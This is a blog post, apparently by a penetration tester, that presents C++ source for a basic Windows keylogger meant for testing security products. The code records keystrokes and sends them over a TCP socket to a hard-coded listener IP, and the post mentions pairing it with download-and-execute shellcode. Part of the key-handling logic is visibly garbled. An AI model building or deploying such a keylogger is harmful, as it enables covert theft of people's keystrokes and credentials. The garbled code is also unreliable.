A basic keylogger for Windows

For testing security software and hardware I wrote a very simple keylogger (which is very noisy). Together with the winexec shellcode I wrote earlier it is possible to download and start the keylogger which simulates a very simple malware. My idea is it to have a some tools (when I will have more time to program 🙂 ), that help testing all the nice antivirus, sandboxing and so on solutions for my daily pentesting job, from exploitation on. That also includes antivirus evasion tools (based on https://github.com/govolution/avepoc).

How it works
Start the executable on the “target” system. Start nc on the “attacking” system.

2015-07-14 14_22_46-WinXP_1 (Ausgangspunkt für WinXP_1 und WinXP_1-Klon) [wird ausgeführt] - Oracle

From a technical point of view there is nothing spectacular to see here. The function used for getting what keys are pressed is GetAsyncKeyState (see here).

Code for the keylogger

/* Tested: Windows XP/7/8
 * Compiler: mingw
 * Compile with: g++ WinKeylog.cpp -lWs2_32
 * Some of the code is from:
 * http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html
 */

#include <string.h>  
#include <iostream> 
#include <winsock2.h> 
 
std::string GetKey(int Key) 
{ 
	std::string KeyString = ""; 

	if (Key == 8) 
		KeyString = "[delete]"; 
	if (Key == 13) 
		KeyString = "\n"; 
	if (Key == 32) 
		KeyString = " "; 
	if (Key == VK_PAUSE) 
		KeyString = "[PAUSE]"; 
	if (Key == VK_CAPITAL) 
		KeyString = "[CAPITAL]"; 
	if (Key == VK_SHIFT) 
		KeyString = "[SHIFT]"; 
	if (Key == VK_TAB) 
		KeyString = "[TABULATOR]"; 
	if (Key == VK_CONTROL)
		KeyString = "[CTRL]"; 
	if (Key == VK_ESCAPE) 
		KeyString = "[ESCAPE]"; 
	if (Key == VK_END) 
		KeyString = "[END]"; 
	if (Key == VK_HOME) 
		KeyString = "[HOME]"; 
	if (Key == VK_LEFT) 
		KeyString = "[LEFT]"; 
	if (Key == VK_RIGHT) 
		KeyString = "[RIGHT]"; 
	
	if (Key >=96 && Key  47 && Key  64 && Key < 91) 
		{ 
			if (GetKeyState(VK_CAPITAL)) 
				KeyString = Key; 
			else 
			{ 
				Key = Key + 32; 
				KeyString = Key; 
			} 
		} 
	} 

	return KeyString; 
} 

int main() 
{ 
	WSAData version;     
	WORD mkword=MAKEWORD(2,2);
	WSAStartup(mkword,&version);

	SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	sockaddr_in addr;
	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=inet_addr("192.168.10.29");
	addr.sin_port=htons(80);

	int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
	if(conn==SOCKET_ERROR) {
		closesocket(u_sock);
		WSACleanup();
	}

	char vect[512]={0};

	std::string TempString = ""; 

	while(true) 
	{ 
		Sleep(5); 

		for(int i = 8; i < 191; i++) 
		{ 
			if(GetAsyncKeyState(i)&1 ==1) 
			{ 
				TempString = GetKey (i); 
				int smsg=send(u_sock, TempString.c_str(), TempString.length(), 0);
				if(smsg==SOCKET_ERROR)
					WSACleanup();
			} 
		} 
	}
	closesocket(u_sock);
	return 1; 
}  

The code can also be found here.

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